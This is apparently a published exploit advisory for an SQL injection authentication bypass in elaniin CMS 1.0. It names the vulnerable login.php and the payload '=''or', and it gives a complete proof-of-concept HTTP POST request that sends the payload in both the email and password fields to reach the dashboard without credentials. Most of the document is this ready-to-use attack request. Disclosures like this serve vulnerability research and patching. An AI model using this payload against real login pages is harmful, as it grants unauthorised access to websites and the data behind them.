elaniin CMS version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
3ebb8fd9eb8086b4c4c0e87d6fb3fb2d83e0f9f2c7b22883271bd067d27ef262
# Exploit Title: elaniin CMS 1.0 - Authentication Bypass
# Author: riamloo
# Date: 2020-01-02
# Vendor Homepage: https://elaniin.com/ ( github ==> https://github.com/elaniin/ )
# Software Link: https://github.com/elaniin/CMS/archive/master.zip
# Version: 1
# CVE: N/A
# Tested on: Win 10
# Discription:
# Open-source Content Management System created with PHP + MySQL https://elaniin.com/
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
https://localhost/elaniin/login.php
POST /elaniin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
Content-Length: 334
Referer: https://localhost/elaniin/login.php
Cookie: PHPSESSID=81spdqht0gvh0f97vg62nzxs8
Connection: close
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=LOGIN